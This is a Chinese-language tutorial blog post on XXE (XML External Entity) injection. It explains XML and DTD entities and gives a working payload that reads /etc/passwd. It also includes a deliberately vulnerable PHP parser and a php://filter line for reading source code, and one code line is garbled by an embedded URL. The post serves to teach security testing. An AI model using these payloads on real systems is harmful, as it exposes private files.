0x00 XXE漏洞介紹:
背景:2018-7-4 微信支付SDK漏洞(XXE漏洞),攻擊者可以獲取服務器中目錄結構,檔案內容,eg:代碼,各種私鑰,敏感資料泄露
0x01什么是xxe漏洞:
XXE (XML External Entity injection)XML 外部物體注入漏洞,如果XML 檔案在參考外部物體時候,可以溝通構造惡意內容,可以導致讀取任意檔案,命令執行和對內網的攻擊,這就是XXE漏洞.
XML Extwrnal Entity,也就是XML外部物體注入攻擊
- 漏洞存在于XML中
- 外部 漏洞的條件 物體通過SYStem加載外部資源 DTD也可以通過外部應用
- ENtity 物體 :漏洞的具體位置 變數
外部參考必須被XML解釋器決議才能加載
漏洞的利用程序和SSRF非常類似,漏洞的危害與ssrf幾乎一致,
什么是XML?
- 可擴展標記語言:標記資料,定義資料型別
- 一種標記語言,類似于HTML(由標簽組成<>)
- 宗旨是傳輸資料,而非顯示資料,html被設計用來顯示資料
- 標簽沒有被定義,需要自行定義標簽
- 被設計為具有自我描述性
- 是W3c的推薦標準
區別:
1.XML可自定義標簽
2.XML存盤或傳輸資料
3,XML區分大小寫
4.XML標簽嵌套閉合比較嚴謹
5.必須要有根元素,如
6.物體字符 類似于xss eg:<>由< 和 >表示
HTML目的是為了顯示資料
元素代表標簽:



第一行:定義note元素,定義了里面有to,from,heading,body這四個元素

ENtity 物體定義:在DTD下面 (物體就是個變數)
<!ENTITY free "nice"> 定義了一個物體叫free ,free里面存了個nice,類似于變數的作用
呼叫變數:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "nice"> //內部物體
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
呼叫結果顯示如下:

外部物體需要通過system參考
eg: //通過file協議
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM"file:///etc/passwd">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
DTD通過外部參考的方法:(邏輯)
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
將上述代碼寫入free.dtd檔案中
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "free.dtd"> //這里通過system來對free.dtd檔案進行加載
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
導致檔案讀取,泄露服務器上的敏感資料 (前提條件是:XML檔案能夠被決議)
接下來的代碼將展示XML檔案如何被決議:
xxe.php檔案:
<?php
$xml=file_get_contents("php://input");//**接收用戶傳過來的XML檔案**
//通過php- input來捕獲資料流 data ,將捕獲到的內容存到xml中
$data = https://www.cnblogs.com/ZZslBl0g/p/simplexml_load_string($xml) ;
// 把xml檔案決議成simple xml element object物件
echo"<pre>" ;
print_r($data) ;
//將決議后的物件列印到公屏
echo "</pre>" ;
?>
如何讀取php檔案:
php://filiter/read=convert.base64-encode/resource=xxe.php
當沒有print_r($data);的情況下,即無回顯,該如何解決呢?
解決方法:
1.獲取資料,把資料內容保存到變數中 外部物體
2.獲取前面取到的資料 (帶外)oob
實驗環境搭建:
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/502228.html
標籤:其他
上一篇:【靶機詳解】DC-2
下一篇:ACM模式細節
